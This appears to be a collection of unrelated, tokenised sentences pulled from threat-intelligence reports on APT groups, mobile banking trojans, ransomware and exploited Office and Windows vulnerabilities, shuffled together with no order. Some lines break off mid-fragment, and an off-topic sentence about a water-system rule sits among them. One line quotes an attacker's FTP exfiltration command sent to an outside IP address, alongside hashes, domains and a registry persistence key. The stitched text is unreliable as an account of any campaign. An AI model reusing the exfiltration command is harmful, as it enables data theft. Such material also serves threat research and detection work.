Note that in almost all cases , this payload file , contained in zip archives , is named ‘ setting ’ or ‘ setting.o ’ . While investigating KerrDown we found multiple RAR files containing a variant of the malware . Magic Hound is an Iranian-sponsored threat group operating primarily in the Middle East that dates back as early as 2014 .


APT15 was targeting information related to UK government departments and military technology . Other samples were found bearing a compilation time as early as June 2012 and version 00002 .


EventBot loaded library Loaded library as seen in Logcat . After further analysis , it was discovered that the RTF files were exploiting the CVE-2018-0798 vulnerability in Microsoft’s Equation Editor (EQNEDT32) . FireEye has identified APT35 operations dating back to 2014 .


The threat group also reportedly targeted the German parliament and German Chancellor Angela Merkel's Christian Democratic Union party .


A successful network intrusion can have severe impacts , particularly if the compromise becomes public and sensitive information is exposed .


Previous versions were storing config values within the variables of a class , while the latest version is using SharedPreferences with some of the keys being identical to those used by Anubis : isAccessibility time_work time_start_permission url_inj Conclusion Ginp is a simple but rather efficient banking Trojan providing the basic functionality to be able to trick victims into delivering personal information . Our research partner Rapid7 investigated the Dropbox use and found that the attackers had used the same account to store exfiltrated data from a global apparel company . Another subdomain , bbs.softfix.co.kr was hosted on same IP address as bbs.gokickes.com , which was reported as the C2 server of Invader by Cyphort .


While attribution of malware attacks is rarely simple or conclusive , during the course of this investigation I uncovered evidence that suggests the attacker might be affiliated with the state-sponsored group known as Sofacy Group ( also known as APT28 or Operation Pawn Storm ) .


WildFire detects all SofacyCarberp payloads with malicious verdicts .


The group's Cobalt Strike installation typically uses a payload named svchost.exe in an attempt to disguise Cobalt Strike activity as the legitimate Windows svchost.exe executable .


We have tracked and profiled this group through multiple investigations , endpoint and network detections , and continuous monitoring .


The zero-day vulnerability found and reported by Symantec (CVE-2019-0703) occurs due to the way the Windows SMB Server handles certain requests . Bahamut was shown to be resourceful , not only maintaining their own Android malware but running propaganda sites , although the quality of these activities varied noticeably .


The server-side component provides a simple graphical user interface for threat actors interacting with web shells .


The first document – dated April 10 , 2017 – is marked “ Very Secret ”


Dell SecureWorks Counter Threat Unit (TM ) ( CTU ) researchers investigated activities associated with Threat Group-3390 ( TG-3390 ) .


The Word document usually exploits CVE-2012-0158 . LAS VEGAS—Today at the Black Hat information security conference , Dell SecureWorks researchers unveiled a report on a newly detected hacking group that has targeted companies around the world while stealing massive amounts of industrial data .


While you would virtually never see Western intelligence agencies going after the same target without de-confliction for fear of compromising each other ’s operations , in Russia this is not an uncommon scenario . “ Putin ’s Hydra : Inside Russia ’s Intelligence Services ” , a recent paper from European Council on Foreign Relations , does an excellent job outlining the highly adversarial relationship between Russia ’s main intelligence services – FSB , the primary domestic intelligence agency but one with also significant external collection and ‘ active measures ’


This functionality can be seen in Figure 1 . As can be observed in the illustration above , the makeself script is instructed to run ./setup.sh after unpacking . Embedded in this sample ’s configuration three command-and-control server addresses and two additional strings we believe to be campaign designators .


January 2016 – May 2018 : In this stage , “ Agent Smith ” hackers started to try out 9Apps as a distribution channel for their adware . This algorithm was previously discussed by security researchers in a Confucius-related blog post . Its goal is a very common one in cybercriminal circles — to install a coin miner that silently steals computer resources and generates revenue for the attackers — yet Dexphot exemplifies the level of complexity and rate of evolution of even everyday threats , intent on evading protections and motivated to fly under the radar for the prospect of profit . The activity we have observed , coupled with others in the information security industry , indicate that these threat actors are likely using Exchange Server vulnerabilities to gain a foothold into environments .


The “ core ” module communicates with the C & C server , receiving the predetermined list of popular apps to scan the device for . So far , Unit 42 has seen infrastructure overlaps with servers hosting C2 servers for samples of the FFRAT , PlugX , Poison Ivy and Scieron Trojans , suggesting that the threat actors use these tools as the payload in their attacks . 1 、An installer with two URLs ; Scheduled Task / Job : Scheduled Task APT29 has used named and hijacked scheduled tasks to establish persistence .


Using similar traits , such as copycat iconography and app or package names , victims are likely socially engineered into installing the malicious apps , especially when available on so-called third-party ( i.e . The BalkanDoor backdoor does not implement any exfiltration channel . From mid-2016 through early 2017 , APT33 compromised organizations located in Saudi Arabia and U.S. in the aerospace sector .


We believe that the Carbanak campaign is a clear indicator of a new era in cybercrime in which criminals use APT techniques directly against the financial industry instead of through its customers . PLEAD also uses CVE-2017-7269 , a buffer overflow vulnerability Microsoft Internet Information Services ( IIS ) 6.0 to compromise the victim 's server .


New KASPERAGENT Malware Campaign .


The server is expected to send back executable code and one of the following commands :


It may be that these submissions are made from the author ’ s machine , or that they submit it to a detection service that in turn submits to online malware databases . Madcap” is similar to the XAgent malware , but the former is focused on recording audio . The Rocket Kitten attacker group 's main attack vector is spear-phishing .


The agency's hacking division freed it from having to disclose its often controversial operations to the NSA (its primary bureaucratic rival) in order to draw on the NSA's hacking capacities . The malicious attachments purported to be invitations or drafts of the agenda for the conference .


Information about all actions performed by Rotexy is logged in the local database and sent to the C & C . The malicious loader will use dynamic-link library ( DLL ) hijacking — injecting malicious code into a process of a file/application — on sidebar.exe and launch dllhost.exe ( a normal file ) . Leafminer also utilized Process Doppelganging , a detection evasion technique first discussed at the Black Hat EU conference last year .


CONTACTS – send text received from C & C to all user contacts . For example , in September 2016 , Sowbug infiltrated an organization in Asia , deploying the Felismus backdoor on one of its computers , Computer A , using the file name adobecms.exe in CSIDL_WINDOWS\debug . As of early June 2018 , the server hosted 112 files in a subdirectory that could be accessed through a public web shell planted by the attackers .


list harvesting . In all three incidents , the attackers gained access to networks through deployments of Citrix and LogMeIn remote-access software using stolen valid user credentials . SecureWorks said the adversary group is abusing a previously undisclosed vulnerability in Japanese Software Asset Management system on endpoints .


] 91 2020-03-04 http : //ora.carlaarrabitoarchitetto [ . RocketMan!” (probably a reference to Donald Trump’s nickname for Kim Jong Un) and MiamiBeach” serve as the first beacon messages from the victim to the control server . In addition to using PlugX and Poison Ivy ( PIVY ) , both known to be used by the group , they also used a new Trojan called " ChChes " by the Japan Computer Emergency Response Team Coordination Center ( JPCERT ) .


The operations division , supervised by Major Boris Alekseyevich Antonov , specialized in targeting organizations of intelligence interest through spear-phishing campaigns and the exploitation of stolen credentials .


Sending information about the affected device The app receives configuration data from the C & C server , needed for displaying ads , and for stealth and resilience . Today , FireEye Intelligence is releasing a comprehensive report detailing APT41 , a prolific Chinese cyber threat group that carries out state-sponsored espionage activity in parallel with financially motivated operations . Create a screenshot and uploads it on the C2 .


] orgmediauploader [ . Our observation of Infy 's campaigns , primarily through the lens of spearphishing attacks against Iranian civil society and media organizations , indicates a wandering focus on particular demographics on a strategic basis over time . The registrant supplied “ uglygorilla@163.com ” as an email address . Monitor for any attempts to enable scripts running on a system would be considered suspicious .


These loader samples all had compilation timestamps purporting to be from the 24th or the 25th of September , 2001 .


Other public tools used by the CopyKittens are Metasploit , a well-known free and open source framework for developing and executing exploit code against a remote target machine ; Mimikatz , a post-exploitation tool that performs credential dumping ; and Empire , a PowerShell and Python post-exploitation agent . It is not the first time Turla has used generic tools .


Of these , the crucial one is the presence of PDB strings in the MiniDuke exploits .


Therefore sending the file path “ ..\..\ secret_info.doc ”


Based on the campaign identifiers found in PinchDuke samples discovered from 2009 , the targets of the Dukes group during that year included organizations such as the Ministry of Defense of Georgia and the ministries of foreign affairs of Turkey and Uganda .


Users should adopt best practices , while organizations should ensure that they balance the need for mobility and the importance of security . In August 2017 , the National Bank of Ukraine warned state-owned and private banks across the country about a large-scale phishing attack . The link between these threat actors and FIN7 is still weak , but we decided to disclose a few hints regarding these in this blog post . Tarrask is able to create " hidden " scheduled tasks by deleting the Security Descriptor ( SD ) registry value.[9 ] WarzoneRAT can masquerade the Process Environment Block on a compromised host to hide it 's attempts to elevate privileges through IFileOperation .


Lookout customers are also protected from this threat on both Android and iOS . Lotus Blossom attempted to exploit CVE-2014-6332 using the POC code available in the wild . It came in the form of a " Tran Duy Linh " CVE-2012-0158 exploit kit document MD5 : de8a242af3794a8be921df0cfa51885f61 and was observed on April 10 , 2014 .


. McAfee Advanced Threat Research analysts have uncovered a global data reconnaissance campaign assaulting a wide number of industries including critical infrastructure , entertainment , finance , health care , and telecommunications . Later at 6:56 , the attackers exfiltrated data using this FTP tool to a remote host: JsuObf.exe Nup#Tntcommand -s CSIDL_PROFILE\appdata\roaming\adobe\rar -a ftp://89.34.237.118:2020 -f/[REDACTED]-u[REDACTED]-p[REDACTED] . Between Jan. 1 – June 20 , 2023 , Mandiant identified more than 500 distinct victims that the KillNet collective has allegedly targeted with DDoS attacks .


APT33 's targeting of organizations involved in aerospace and energy most closely aligns with nation-state interests , implying that the threat actor is most likely government sponsored . Since January 2013 , we've been on the lookout for a possible RedOctober comeback .


First , it will get the “ nativenumber ” variable from the “ telmark ” value of “ AndroidManifest.xml ” . In particular , TG-3390 has exploited CVE-2011-3544 , a vulnerability in the Java Runtime Environment , to deliver the HTTPBrowser backdoor ; and CVE-2010-0738 , a vulnerability in JBoss , to compromise internally and externally accessible assets used to redirect users' web browsers to exploit code . In May 2016 , both PROMETHIUM and NEODYMIUM were observed to launch attack campaigns .


Figure 3: Embedded URL in OLE object CVE-2017-11882 Similarly , we have also observed actors leveraging another recently discovered vulnerability (CVE-2017-11882) in Microsoft Office . This malicious document contains a Visual Basic macro that dropped and executed an upgraded version of the implant known as SYSCON , which appeared in 2017 in malicious Word documents as part of several campaigns using North Korea–related topics .


David Manouchehri released the information about the backdoor through its own Github account ( Pastebin ) and then apparently deleted it . we detected an ongoing campaign targeting a national data center . The Winnti malware was also found at these universities a few weeks prior to ShadowPad . In addition , individuals like Hack520 prove that these threat actors are composed of varied individuals who have their own set of expertise .


This intelligence has been critical to protecting and informing our clients , exposing this threat and strengthening our confidence in attributing APT28 to the Russian government . For example , the actors behind FrozenCell used a spoofed app called Tawjihi 2016 , which Jordanian or Palestinian students would ordinarily use during their general secondary examination .


The beginning of 2017 also brought a turning point in INDRIK SPIDER 's operation of Dridex . This malware uses the public privilege escalation exploit code CVE-2018-8120 or UACME which is normally used by legitimate red teams .


What follows are some of the features exhibited by SpyNote RAT . In addition , Silence downloads the reverse proxy programs Silence.ProxyBot and Silence. ProxyBot.NET , which are described in detail in the report Silence: moving into the darkside . The Cobalt group 's traditional " stomping grounds " are the Eastern Europe , Central Asia , and Southeast Asia .


2016 From mid-2016 on , the cybercriminals returned to dynamic generation of lowest-level domains . The download name was " Zawgyi_Keyboard_L.zip " , and it dropped a " setup.exe " that contained several backdoor components , including an Elise " wincex.dll " ( a42c966e26f3577534d03248551232f3 , detected as Backdoor.Win32.Agent.delp ) . Ransomware that has been publicly named " WannaCry " , " WCry " or " WanaCrypt0r " ( based on strings in the binary and encrypted files ) has spread to at least 74 countries as of Friday 12 May 2017 , reportedly targeting Russia initially , and spreading to telecommunications , shipping , car manufacturers , universities and health care industries , among others .


We don't know how OurMine managed to access WikiLeaks 's DNS records , but past experience has shown that their typical modus operandi is simply to log in using their victim 's password . Silence 's main targets are located in Russia , Ukraine , Belarus , Azerbaijan , Poland , and Kazakhstan .


Multinational , multi-industry companies involved in the manufacture of textiles , chemicals , and electronics .


This approach allows the authors to combine ads from third-party advertising networks with ads they created for their own apps . If KeyBoy is a single component of a larger espionage toolkit , the developers may have realized that this older , static-key based , configuration encoding algorithm was inadvertently providing a link between disparate components of their malware suite . The emails originated from the address dpptccb.dpp@msa.hinet.net , and contained the subject DPP's Contact Information Update . Republican state lawmakers are backing a legal challenge in the court systems to block an Environmental Protection Administration rule that asked local water systems to evaluate their current cybersecurity systems and protections while conducting sanitation surveys .


" When BLU raised objections , Adups took immediate measures to disable that functionality on BLU phones , '' Adups says . The well-crafted and socially engineered malicious documents then become the ﬁrst stage of a long and mainly ﬁleless infection chain that eventually delivers POWERSTATS , a signature PowerShell backdoor of this threat group . Dark Caracal is threat group that has been attributed to the Lebanese General Directorate of General Security ( GDGS ) and has operated since at least 2012 .


The threat then executes “ svchost.exe ” , a PE file , which is actually a clean tool known as OLEVIEW.EXE .


What makes SeaDuke special is that it was written in Python and designed to work on both Windows and Linux systems ; it is the first cross-platform tool we have seen from the Dukes .


The Poseidon Group has been active , using custom code and evolving their toolkit since at least 2005 . These have been highly active in the Middle East region and unveiled ongoing targeted attacks in multiple regions .


Security analysts are typically equipped with the tools to defeat a good number of similar tricks during malware investigations . A paper released today by our colleagues at Palo Alto Networks presented a portion of data on this crew under the label " the Lotus Blossom Operation " , likely named for the debug string present in much of the " Elise " codebase since at least 2012 : " d:\lstudio\projects\lotus\… " . DownUrlFile DownRunUrlFile RunUrlBinInMem UnInstall . All companies are subject to these .


Advertisement The VM also disguises the malicious activity , making it easier for the apps to infiltrate Google Play . For example , DeltaAlfa specifies a DDoS bot family identified as Alfa . AutoIt backdoor : A custom built backdoor written in the AutoIt scripting language . Or , they may go up against groups whose ideologies do not align with their own .


We cannot confirm how the initial credentials were stolen in the 2016 incident ; however , later in the intrusion , Responder was deployed .


Threat actors are increasingly focused on gaining control of legitimate credentials , especially credentials associated with highly privileged accounts .


Netview — This tool enumerates networks .


Add the layer of encryption that the SMTPS and POP3S protocols provide to the legitimate web-based service and you have a very difficult C2 channel to block While Sofacy ’s campaign delivering Zebrocy and Cannon remains active , Palo Alto Networks customers are protected from this threat in the following ways :


This malware-life-cycle has been observed to reoccur every few years , bringing new malware families into light . They seem to have specialized knowledge about military operations , as they are focused on stealing specific files such as those that describe navigation routes . As detailed in the DOJ complaint , a sample of WHITEOUT ( aka Contopee ) malware we attribute to APT38 was used between 2015 and 2016 against a Southeast Asian bank .


Reverse shell payload The reverse shell module is an external ELF file compiled by the attackers to run on Android . OceanLotus have been actively using since at least early 2018 . TA459 is a threat group believed to operate out of China that has targeted countries including Russia , Belarus , Mongolia , and others .


Knowledge of the threat landscape and implementation of the right detection tools remains crucial to be able to protect yourself from fraud ; Cerberus is yet a new Trojan active in the wild ! AdroMut downloads the malware ServHelper and FlawedAmmy RAT used by the SectorJ04 group from the attacker server and simultaneously performs the functions of a backdoor . Several xxmm samples analyzed by CTU researchers incorporate Mimikatz , allowing BRONZE BUTLER to issue Mimikatz commands directly from xxmm .


IOCs for this version were :


The DLL acts as a stub loader , which loads and executes the shell code .


In this report , we'll review how the NetTraveler attempted to exploit CVE-2012-0158 to install the NetTraveler Trojan . The main targets seem to be US companies in engineering , transport and defense , although it has targeted other organizations around the world .


We have found another instance of malware posing as the Super Mario Run Android app , and this time it has taken the form of DroidJack RAT ( remote access trojan ) . Multiple China-based cyber threat groups have targeted international media organizations in the past . Initial reports of the attacks , published April 26 ( in Hebrew ) by the Israel National Cyber Event Readiness Team ( CERT-IL ) and The Marker , confirm that the attack was delivered through compromised email accounts at Ben-Gurion University and sent to multiple targets across Israel . Indicators can be automatically sent to your security tools , like secure email gateway and firewalls , to respond and block threats in realtime .


So I don ’ t know what kind of files will be executed , but they could be malicious or advertising files . In this blogpost we cover a malicious program for Windows called Octopus that mostly targets diplomatic entities . APT1 is a single organization of operators that has conducted a cyber espionage campaign against a broad range of victims since at least 2006 . The final stage backdoor connects to two servers , one in Panama and one in Turkey to receive the instructions from the attackers .


Key : HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\GoogleIndexer Value : %AppData%\Platform\sslwin.exe .


Logs collected by Check Point researchers show that every day Gooligan installs at least 30,000 apps fraudulently on breached devices or over 2 million apps since the campaign began . Remexi is a basic back door Trojan that allows Cadelle to open a remote shell on the computer and execute commands . The global variable value dword_72DBB588 is always 0 because the value is not initialized ( we can check it by is_loaded API ) This markup becomes unescaped , causing arbitrary markup to be injected into the document .


Shamoon2 : d30b8468d16b631cafe458fd94cc3196 .


During our extended threat hunting , we uncovered 11 apps on the Google Play store that contain a malicious yet dormant SDK related to “ Agent Smith ” actor . In this blog post , we discussed two separate malware variations that behave in very similar ways and use similar techniques to acquire a C2 address , with both using Yahoo Answers and Quora to evade traditional mechanisms for blocking command and control domains . Dexphot : aa5c56fe01af091f07c56ac7cbd240948ea6482b6146e0d3848d450977dff152 . Regardless of which side of the political spectrum you fall , cybersecurity should be something our lawmakers can all agree on .


Once TERBIUM has a foothold in the organization , its infection chain starts by writing an executable file to disk that contains all the components required to carry out the data-wiping operation . However , in September last year , our friends at CSIS published a blog detailing a new Carbanak variant affecting one of its customers .


Our malware analysts Nikita Buchka and Mikhail Kuzin can easily name 11 families of such Trojans . Our analysis shows that actors attempted to exploit CVE-2012-0158 to install NetTraveler Trojan . Iranian threat agent OilRig has been targeting multiple organisations in Israel and other countries in the Middle East since the end of 2015 .


Moving laterally through a network relying only on legitimate tools that already exist within the victims ’ systems , at times forgoing their traditional toolset for the duration of the compromise .


However it ’ s unclear whether organizations that later reported on ViperRAT performed their own independent research or simply based their content on the original Israeli report . Based on our analysis , we believe that threat actors may compile Windows and Unix based payloads using the same code to deploy Kazuar against both platforms . First , it checks if the DLL is executed as a service . Adversaries may utilize command - line interfaces ( CLIs ) to interact with systems and execute commands .


The threat actors then move quickly to compromise Microsoft Exchange servers and to gain complete control of the target environment .


Its main capabilities include : Stealing personal device information Intercepting SMS messages Recording targeted applications for one-time password ( TAN ) Lockdown of the phone Stealing pictures from the device Self-destruction and removal As banks release more advanced security measures , banking malware evolves to keep up with the perpetual arms race . The exploit installs Silence’s loader , designed to download backdoors and other malicious programs . Instead , OilRig 's attack involved delivering the OopsIE Trojan directly to the victim , most likely using a link in a spear phishing email .


The targets were similar to a 2015 TG-4127 campaign — individuals in Russia and the former Soviet states , current and former military and government personnel in the U.S. and Europe , individuals working in the defense and government supply chain , and authors and journalists — but also included email accounts linked to the November 2016 United States presidential election .


jp.co.sagawa.SagawaOfficialApp 佐川急便 Malicious URLs : hxxp : //38 [ . CTU researchers assess with moderate confidence that the group is operating from the Russian Federation and is gathering intelligence on behalf of the Russian government . The send function uses several counters to maintain various pieces of information used to control the flow of . shellcode Download a shellcode and run by injecting it in a target process .


These modules are used to selectively provide CozyDuke with just the functionality deemed necessary for the mission at hand .


The time bomb triggers unpacker thread . We assess that the actors employing this latest Flash zero-day are a suspected North Korean group we track as TEMP.Reaper . This blog post analyzes several recent Molerats attacks that deployed PIVY against targets in the Middle East and in the U.S. We also examine additional PIVY attacks that leverage Arabic-language content related to the ongoing crisis in Egypt and the wider Middle East to lure targets into opening malicious files .


It is safe to say that today ’ s cybercriminal is no longer a lone hacker but part of a serious business operation . we detected an ongoing campaign targeting a national data center in the Centeral Asia . It is also known for having compromised various targets in the healthcare and education sectors . The attackers first attempted to use the LockBit ransomware but when that was blocked , they resorted to 3AM instead .


XENOTIME is easily the most dangerous threat activity publicly known .


Moving through the infection process , NetWitness Endpoint detects the initial exploit CVE-2017-1182 in action as the Microsoft Equation Editor , EQNEDT32.exe , scores high for potentially malicious activity . Execute a command through exploits for CVE-2018-0802 .


The product information in the builder kit matched with this individual ’s YouTube username and the YouTube channel .


Found bundled with a repackaged app , the spyware ’ s surveillance capabilities involve hiding its presence on the device , recording phone calls , logging incoming text messages , recoding videos , taking pictures and collecting GPS coordinates , then broadcasting all of that to an attacker-controlled C & C ( command and control ) server . In early August , the SectorJ04 group carried out extensive hacking activities targeting the users around the world , including South Korea , India , Britain , the United States , Germany , Canada , Argentina , Bangladesh and Hong Kong . Sensitive bank documents have be found on the servers that were controlling Carbanak .


Mobile developers have recently begun eschewing traditional app stores and instead want to deliver their software directly through their own means . As part of its ongoing research initiatives , the Anomali Threat Research Team has discovered a new phishing attack leveraging spoof sites that seem to be designed to steal email credentials from the target victims within the government of the People’s Republic of China . APT33 's focus on aviation may indicate the group 's desire to gain insight into regional military capabilities to enhance Iran 's aviation capabilities or to support Iran 's military and strategic decision making .


This means that untrusted software may not be allowed to run unless it is signed .


When rooting fails , a second component delivers a fake system update notification in hopes of tricking users into granting HummingBad system-level permissions . WannaCry ( also known as WCry or WanaCryptor ) malware is a self-propagating ( worm-like ) ransomware that spreads through internal networks and over the public internet by exploiting a vulnerability in Microsoft 's Server Message Block ( SMB ) protocol , MS17-010 . APT33 : 64.251.19.215 [REDACTED].myftp.org . The group 's 91 attacks come not long after their extensive GoAnywhere campaign in March , when they hit over 100 organizations using a nasty zero - day .


SHA256 Package Name App Name a6c7351b09a733a1b3ff8a0901c5bde fdc3b566bfcedcdf5a338c3a97c9f249b com.android.henbox 备份 ( Backup ) Table 3 HenBox variant used in description Once this variant of HenBox is installed on the victim ’ s device , the app can be executed in two different ways : One method for executing HenBox is for the victim to launch the malicious app ( named “ Backup ” , in Since 2017 , APT41 has consistently targeted telecommunications companies , possibly a crucial first step to establish a foothold in targeting a particular region . While TG-4127 continues to primarily threaten organizations and individuals operating in Russia and former Soviet states , this campaign illustrates its willingness to expand its scope to other targets that have intelligence of interest to the Russian government .


In all emails sent to these government officials , the actor used the same attachment : a malicious Microsoft Word document that exploited the CVE-2012-0158 vulnerability to drop a malicious payload . A timeline of new activity can be scoped out for the group , with the greatest number of related downloaders created by the developers in December 2011 , Feb and March of 2012 , followed by June of 2012 .


In this version , the developer added more classes from the same package . some indications of loosely linked activity dating back to at least 2013 . Similar to RIPTIDE campaigns , APT12 infects target systems with HIGHTIDE using a Microsoft Word ( .doc ) document that exploits CVE-2012-0158 . WIRTE has used HTTPS over ports 2083 and 2087 for C2.ZxShell can use ports 1985 and 1986 in HTTP / S communication.[47 ] Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level .


Lookout researchers have identified a new , highly targeted surveillanceware family known as Desert Scorpion in the Google Play Store . Tools and capabilities used by HIDDEN COBRA actors include DDoS botnets , keyloggers , remote access tools ( RATs ) , and wiper malware . The latest versions of PowerArchiver 2019 and WinRar displayed in their respective UI the executable SHIPPING_MX00034900_PL_INV_pdf.exe as the only content of the ZIP . However , lessons learned this year can help organizations take proactive steps to protect themselves from ransomware in 2023 .


The loaders associated with the PinchDuke toolset have also been observed being used with CosmicDuke .


NetWire , DarkComet , NanoCore , LuminosityLink , Remcos and Imminent Monitor are all designed to provide remote access to compromised systems . In all cases , based on the nature of the computers infected by Thrip , it appeared that the telecoms companies themselves and not their customers were the targets of these attacks .


This final payload was designed to run only on certain systems .


APT33 has targeted organizations – spanning multiple industries – headquartered in the United States , Saudi Arabia and South Korea . In 2013 , a public report reveals a group of actors conducted targeted attacks leverage a malware dubbed ICEFOG against mainly government organizations and defense industry of South Korea and Japan .


The backdoor can connect to any of the C&Cs from a hardcoded list – a measure to increase resilience . Both of these samples work as Banking Trojans and provide similar functionalities .


This once more highlights two crucial behavioral elements of the Dukes group .


Implementing input validation can protect against the security flaws of web applications by significantly reducing the probability of successful exploitation .


Interestingly , we found other DNS records mostly from 2017 that follow a similar pattern and appear to contain two-letters codes for districts in Italy : Server City server1bo.exodus.connexxa [ . Additionally , the actor possibly gained a foothold on other target networks—beyond the two intrusions discussed in this post – using similar strategies . A shortcut is added to the the startup folder : C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup . Indicators of compromise IOCs are pieces of forensic data , such as data found in system log entries or files , that identify potentially malicious activity on a system or network .


This may also explain the timing in between the apps becoming fully functional and “ incubation. ” As this is a group we have not observed before , we will continue monitoring this campaign for further developments . The GCMAN group has moved beyond banks and is now targeting the budgeting and accounting departments in any organization of interest to them , using the same APT-style tools and techniques . it updates the CFG and the destination of the instruction . This also ties into the fact that cyber criminals are competitive by nature , and they love the challenge their actions bring .


TRISIS was an escalation of the type of attacks historically targeting ICS systems .


The author has introduced the capability to grant the app the device admin permission . That attack was attributed to perpetrators Kaspersky called the Winnti Group . Invader ( a.k.a Kickesgo ) is a backdoor that injects its main code into a legitimate process , such as explorer.exe , and has following functions :


In addition to these , the Animal Farm attackers used at least one unknown , mysterious malware during an operation targeting computer users in Burkina Faso . Carbanak has its origin in more common financial fraud including theft from consumer and corporate bank accounts in Europe and Russia , using standard banking malware , mainly Carberp .


Some example file names using this technique include : AntiVirus_update_package.7z , acquisition.7z , offer.7z , update_flashplayer10ax.7z .


( control the vibrator ) ∗ android.permission.ACCESS_WIFI_STATE ( view information about the status of Wi-Fi ) ∗ android.permission.WRITE_SMS ( edit/delete SMS ) ∗ android.permission.ACCESS_NETWORK_STATE ( view the status of all networks ) ∗ android.permission.WAKE_LOCK ( prevent the phone from going to sleep ) ∗ android.permission.GET_TASKS ( retrieve running applications ) ∗ android.permission.CALL_PHONE ( call phone numbers ) One of the top targets is the Japan Pension Service , but the list of targeted industries includes government and government agencies , local governments , public interest groups , universities , banks , financial services , energy and so on . The threat posed by ZxShell to organizations is one that cannot be ignored . A possible solution would come from adaptive URLs , adding the ID as part of the URL or subdomain to allow admins to set CSP rules that restrict data exfiltration to other accounts .


Some HammerDuke variants only contain a hardcoded C&C server address from which they will retrieve commands , but other HammerDuke variants will first use a custom algorithm to generate a Twitter account name based on the current date .


] it Reggio Calabria server2ct.exodus.connexxa [ . Adversary behavioral artifacts further suggest the TEMP.Veles operators are based in Moscow , lending some further support to the scenario that CNIIHM , a Russian research organization in Moscow , has been involved in TEMP.Veles activity . cname : Combating malware , ransomware , and malicious cyber attacks has always relied on information sharing , exposure of actors TTPs and the dissemination of reliable threat intelligence so that security professionals can quickly develop mitigations , remediations , and update their defenses to block future attacks .


Specifically , the techniques CosmicDuke uses to extract user credentials from targeted software and to detect the presence of analysis tools appear to be based on the techniques used by PinchDuke .


Android documentation describes that function as " a global action . This blog post analyzes several recent Molerats attacks that deployed PIVY against targets in the Middle East and in the U.S. We also examine additional PIVY attacks that leverage Arabic-language content related to the ongoing crisis in Egypt and the wider Middle East to lure targets into opening malicious files . Rancor : Cyber Espionage Group Uses New Custom Malware to Attack Southeast Asia . The ransom note is also used to generate a message in the form of the background wallpaper typically located at “ C:/Users / Public / bg.jpg ” .


Ransomware that has been publicly named " WannaCry " , " WCry " or " WanaCrypt0r " ( based on strings in the binary and encrypted files ) has spread to at least 74 countries as of Friday 12 May 2017 , reportedly targeting Russia initially , and spreading to telecommunications , shipping , car manufacturers , universities and health care industries , among others . Based on information collected in the course of this research , the targets and victims of Infy 's campaigns have continued to be strongly aligned with Iran 's " soft war " agenda , internal security policies , and regional adversaries of the hardline establishment of the Islamic Republic of Iran .


Cerberus embeds the following set of features that allows itself to remain under the radar and successfully perform attacks : Overlaying : Dynamic ( Local injects obtained from C2 ) Keylogging SMS harvesting : SMS listing SMS harvesting : SMS forwarding Device info collection Contact list collection Application listing Location collection Overlaying : Targets list update SMS : Sending Calls : USSD request making Calls : Call forwarding Remote actions : App installing Remote actions : App starting Remote actions : App removal Remote actions : Showing arbitrary web pages Remote actions : Screen-locking Although the SectorJ04 group mainly targeted countries located in Europe or North America , it has recently expanded its field of activities to countries located in Southeast Asia and East Asia . Secureworks® incident responders and Counter Threat Unit™ ( CTU ) researchers investigated activities associated with the BRONZE BUTLER ( also known as Tick ) threat group , which likely originates in the People .


In comparison , even the earliest known GeminiDuke samples encrypted any strings that might have given away the malware ’s true nature .


It uses “ 185.51.201 [ . However , the final payload is something that welivesecurity have never seen associated with Buhtrap . ScarCruft tools : C781f5fad9b47232b3606e4d374900cd Installer .


We named this malware " WolfRAT '' due to strong links between this malware ( and the command and control ( C2 ) infrastructure ) and Wolf Research , an infamous organization that developed interception and espionage-based malware and was publicly described by CSIS during Virus Bulletin 2018 . In this blog , we look at the Winnti malware implant as used by two known activity groups BARIUM and LEAD . The emails are often tailored for specific victims and contain malicious attachments that are almost always “ weaponized ” .PDF files with known exploits that drop malware executables onto targeted systems . This will essentially create a client - side WAF that can enforce a policy on where specific data field are allowed to be transmitted .


] com/gate_cb8a5aea1ab302f0_c offline 31.214.157 [ . These could be tools to circumvent internet censorship , such as Softether VPN 4.12” and psiphon3” , or Microsoft Office activators” . Wapack labs also observed a similar sample targeting Japan in November .


This certificate configuration is ignored by the malware .


We assess that the actors employing this latest Flash zero-day are a suspected North Korean group we track as TEMP.Reaper . As we have noted in many earlier reports , attackers commonly use decoy files to trick victims into thinking a malicious document is actually legitimate .


Most components are obfuscated in some way , whether it be simple XOR with a single-byte key , or through the use of ZIP or Zlib compression wrapped with RC4 encryption . Since 2017 , APT41's activities have included a series of supply chain compromises . We assess that APT28 is most likely sponsored by the Russian government .


Criminals are increasingly using obfuscation , the deliberate act of creating complex code to make it difficult to analyze . LAS VEGAS—Today at the Black Hat information security conference , Dell SecureWorks researchers unveiled a report on a newly detected hacking group that has targeted companies around the world while stealing massive amounts of industrial data . The difference between the original and patched hpqhvind.exe . Paired with KillNet ’s reported compromise and leak of North Atlantic Treaty Organization ( NATO ) documents , this sudden increase in capability could indicate significant investment from more sophisticated actors , particularly when measured against KillNet ’s capabilities since the collective ’s inception in late 2021 .


New malware is often introduced to underground communities by being promoted and sold or offered as a giveaway . More details about TajMahal are available to customers of the Kaspersky Intelligence Reporting service (contact intelreports@kaspersky.com) . As the Rocket Kitten group 's behavior was well characterized in previous publications ( see the recent report from Trend Micro and ClearSky ) .


PLATINUM has used several zero-day exploits against their victims . Execute a command through exploits for CVE-2017-11882 .


Written in pure C language , Canhadr/Ndriver provides full access to the hard drive and operating memory despite device security restrictions , and carries out integrity control of various system components to avoid debugging and security detection . Through our continuous monitoring of threats during 2018 , we observed a new wave of attacks by Gaza Cybergang Group1 targeting embassies and political personnel .


To successfully interact with the web shell , a threat actor sent HTTP requests that included the "|" parameter .


In one sample , no SMS-related code appears in the DEX file , but there is a native method registered . Over the summer they compromised several sites , including a well-known Uyghur website written in that native language . End Terminate ZxShell DLL . In terms of the fallout , it ’s tough to overstate the havoc Cl0p was able to wreck thanks to the zero - day .


The Flash exploit is served from unobfuscated HTML/JS .


Dynamic code loading makes it impossible to state what kind of PHA it was . This newly observed activity uses a series of redirections and fileless , malicious implementations of legitimate tools to gain access to the targeted systems . This variant sends an HTTP request to a legitimate Japanese website using a malformed User-Agent string , as shown in Figure 2 . • New , unexpected compiled ASPX files in the directory • Reconnaissance , vulnerability - testing requests to the following resources from an external IP address : In our investigations to date , the web shells placed on Exchange Servers have been named differently in each intrusion , and thus the file name alone is not a high - fidelity indicator of compromise .


